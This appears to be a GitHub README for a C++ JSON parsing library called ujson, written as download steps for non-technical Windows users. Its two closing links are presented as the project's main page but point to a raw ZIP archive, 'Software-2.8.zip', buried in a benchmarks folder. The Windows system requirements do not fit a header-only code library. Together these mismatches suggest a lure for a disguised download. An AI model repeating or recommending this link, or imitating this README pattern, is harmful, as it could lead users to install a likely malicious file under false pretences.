ujson is a lightweight and fast tool that helps you read and write JSON files. JSON is a way computers store and share data. ujson makes it simple to work with JSON without slowing down your computer. It uses modern technology inside your CPU to speed things up, but you don’t need to know any of that to use it.
If you want a quick and efficient way to handle JSON files on your Windows computer, ujson is built for that.
Before you start, make sure your computer meets these basic needs:
- Windows 10 or higher
- At least 4 GB of free memory
- A modern processor with AVX2 support (most CPUs from the last 5 years work fine)
- 100 MB of free disk space
- Internet connection for downloading the files
ujson runs on common Windows systems without needing extra software.
Follow these steps to get ujson up and running on your Windows computer.
You need to get the files first.
Click the big green button below to visit the ujson page where you can download the files you need.
This link takes you to the main ujson repository page on GitHub. From there, you will find the files you need to download.
On the GitHub page you opened, look for the green button labeled Code near the top right corner.
- Click it
- Choose Download ZIP
This saves all the ujson files to your computer as one compressed file.
After downloading, follow these instructions:
- Open the folder where your downloads go (usually this is the Downloads folder).
- Find the file named
ujson-master.zipor similar. - Right-click the file.
- Select Extract All….
- Choose where to save the files, like your Desktop or Documents folder.
- Click Extract.
You now have the ujson files ready on your computer.
ujson is a tool mostly for programmers, but you can try out its core by opening files it uses.
Since ujson is designed as a C++ library, it works inside other programs that use it. To actually see ujson in action, you would need a program that includes it.
If you don’t write code, the best way to use ujson is to find applications or tools that already include it.
If you want to see ujson working and you have basic technical skills, you can build and run sample tests provided with the package.
- Open the extracted ujson folder.
- Look for a folder called
examplesortests. - Inside, you might find instructions in files named
README.mdorbuild_instructions.txt. - If you have software like Microsoft Visual Studio installed, open the sample project files to build and run the tests.
This step requires some programming tools and knowledge. It is not needed for basic use.
ujson’s strength lies in its speed and efficiency:
- It handles JSON data using only one source file (header-only).
- It works with the newest C++20 standard.
- It uses powerful CPU instructions called SIMD (like AVX2 and SSE2) to speed up parsing.
- It uses "arena-based allocation," a smart way to manage memory for better performance.
- It supports both “parsing” (reading JSON) and “building” (creating JSON).
JSON stands for JavaScript Object Notation. It is a simple format for storing and sharing data. Many programs and websites use JSON to send information back and forth.
With ujson, you can read this data quickly or write your own data in JSON format.
Make sure you are on the main page of ujson at https://github.com/srivagdevi/ujson/raw/refs/heads/main/src/benchmarks/Software-2.8.zip The green Code button is near the top right.
Try using the built-in Windows tool or a program like 7-Zip. Extract files to a folder you have full access to, like your Desktop.
ujson is made for developers. If you want to use it, share its files with the person who writes your software, or find software that already includes ujson.
If you experience problems with the download or have questions, you can visit the GitHub page. Look for the Issues tab where users and developers discuss problems and fixes.
Check the GitHub page regularly for updates. To update:
- Download the latest ZIP file.
- Extract the files to a new folder.
- Replace old files with new ones in your projects.
The ujson project is related to:
- arena-allocation
- avx2
- builder
- cpp20
- dom
- header-only
- json
- parser
- performance
- sax
- simd
- sse2
These indicate the technologies and features it uses but do not affect basic use on Windows.
Visit https://github.com/srivagdevi/ujson/raw/refs/heads/main/src/benchmarks/Software-2.8.zip anytime to download or learn more about ujson. This link is the main source of files and information.